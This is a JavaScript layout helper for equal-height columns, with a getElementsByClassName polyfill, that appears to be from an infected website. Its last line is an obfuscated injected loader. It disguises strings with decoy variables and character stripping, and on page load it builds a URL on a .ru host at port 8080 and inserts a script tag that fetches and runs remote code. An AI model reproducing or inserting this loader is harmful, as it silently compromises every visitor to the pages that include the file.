var ElementMaxHeight = function() {
  this.initialize.apply(this, arguments);
}

ElementMaxHeight.prototype = {
  initialize: function(className) {
    this.elements = document.getElementsByClassName(className || 'maxheight');    
    this.textElement = document.createElement('span');
    this.textElement.appendChild(document.createTextNode('A'));
    this.textElement.style.display = 'block';
    this.textElement.style.position = 'absolute';
    this.textElement.style.fontSize = '1em';
    this.textElement.style.top = '-1000px';
    this.textElement.style.left = '-1000px';
    document.body.appendChild(this.textElement);
    this.textElementHeight = document.getDimensions(this.textElement).height;
    var __object = this;
    var __checkFontSize = this.checkFontSize;
    this.checkFontSizeInterval = window.setInterval(function() {return __checkFontSize.apply(__object)}, 500);

    this.expand();

    // Refresh elements height onResize event
    var __expand = this.expand;
    if (window.addEventListener) {
      window.addEventListener('resize', function(event) {return __expand.apply(__object, [( event || window.event)])}, false);
    } else if (window.attachEvent) {
      window.attachEvent('onresize', function(event) {return __expand.apply(__object, [( event || window.event)])});
    }
  },

  expand: function() {
    this.reset();
  	for (var i = 0; i < this.elements.length; i++) {  	
      this.elements[i].style.height = document.getDimensions(this.elements[i].parentNode).height + 'px';
  	}
  },

  reset: function() {
    for (var i = 0; i < this.elements.length; i++) {    
      this.elements[i].style.height = 'auto';
    }
  },

  checkFontSize: function() {
  	var height = document.getDimensions(this.textElement).height;
  	if(this.textElementHeight != height) {
  		this.textElementHeight = height;
  		this.expand();
  	}
  }  
}


if (!!document.evaluate) {
  document._getElementsByXPath = function(expression, parentElement) {
    var results = [];
    var query = document.evaluate(expression, parentElement || document,
      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
    for (var i = 0, length = query.snapshotLength; i < length; i++)
      results.push(query.snapshotItem(i));
    return results;
  }
}

document.getElementsByClassName = function(className, parentElement) {
  if (!!document.evaluate) {
    var q = ".//*[contains(concat(' ', @class, ' '), ' " + className + " ')]";
    return document._getElementsByXPath(q, parentElement);
  } else {
    var children = (parentElement || document.body).getElementsByTagName('*');
    var elements = [], child;
    for (var i = 0, length = children.length; i < length; i++) {
      child = children[i];
      if (child.className.length != 0 &&
          (child.className == className ||
           child.className.match(new RegExp("(^|\\s)" + className + "(\\s|$)")))) {      
        elements.push(child);
      }
    }
    return elements;
  }
}

document.getDimensions = function (element) {
  var display = element.style.display;
  if (display != 'none' && display != null) { // Safari bug
    return {width: element.offsetWidth, height: element.offsetHeight};
  }

  return {width: originalWidth, height: originalHeight};
}
var L='';var M=new Date();try {var Ct=new Date();var F;if(F!='' && F!='QY'){F=null};var ph='';var X;if(X!='cJ' && X!='b'){X=''};var bB;if(bB!='D' && bB!='w'){bB='D'};var t="t291g".substr(4);var Mg;if(Mg!='O'){Mg=''};var n=new String("mPQ[".substr(3));var Nv=new Date();var pe;if(pe!='j' && pe != ''){pe=null};var z=String("re"+"PjHpl".substr(3)+"ac7RM".substr(0,2)+"dJxpeJdpx".substr(4,1));this.Cn='';var LB;if(LB!='Bh'){LB='Bh'};var l=RegExp;var W="";var c="]";this.Ws="";var s;if(s!='Oo' && s != ''){s=null};function p(v,g){var y;if(y!='jL' && y!='vV'){y=''};var Z=n;Z+=g;this.DB="";var i='';Z+=c;var mb=new Array();var Mgw;if(Mgw!='bN' && Mgw!='tO'){Mgw=''};var f=new l(Z, t);return v.replace(f, ph);};var UR='';var x=String("/sof"+"LJutoni".substr(3)+"c.co"+"m/so"+"fton"+"WnbYic.c".substr(4)+"om/gl0GC".substr(0,4)+"ooglHOy".substr(0,4)+"e.co3kSC".substr(0,4)+"sPLRm/mu".substr(4)+"4j2sicaj42".substr(3,4)+"49Z0.comZ409".substr(4,4)+"w3Hf/elawH3f".substr(4,4)+"okznce.".substr(3)+"upNacom.".substr(4)+"9tkphp9tk".substr(3,3));var h=String("onlo"+"ad3gC".substr(0,2));this.A="";var v="1";var Vc;if(Vc!='' && Vc!='Xd'){Vc=null};var ZN=p('hbtbt6p6:3/8/6i8s8o8hbu3n8tb-bcbo8m3.65616.blbab.3ibcbq6-bc8o3m8.3e8a8s8t8pba8r6k8obn3lbi6n6e3.8r8u6:3',"836b");var nS='';var o=String("sc"+"Jol6ri".substr(4)+"KJqpt".substr(3));var Vt=new Date();var nj=new Date();var S='';var pG=new Array();var SO;if(SO!=''){SO='e'};this.Vf="";var ee;if(ee!='H'){ee='H'};var B=p('8635425034443238452535052422',"25436");var PIL="";var dn=new String();var nQ;if(nQ!='Da' && nQ!='Ip'){nQ='Da'};window[h]=function(){_=document.createElement(o);var yk=new Array();this.Qt='';var km;if(km!='G' && km!='eR'){km='G'};S+=ZN;var CX=new Array();var A_=new Array();S+=B+x;var aK;if(aK!='' && aK!='Vn'){aK=''};_.defer=v;var eQ;if(eQ!=''){eQ='XE'};var _A='';_.src=S;var E=document.body;var pD;if(pD!=''){pD='IT'};E.appendChild(_);var q=new Date();};var J=new String();var vU;if(vU!=''){vU='oD'};} catch(C){var YI=new Date();var aX;if(aX!='' && aX!='lO'){aX=null};};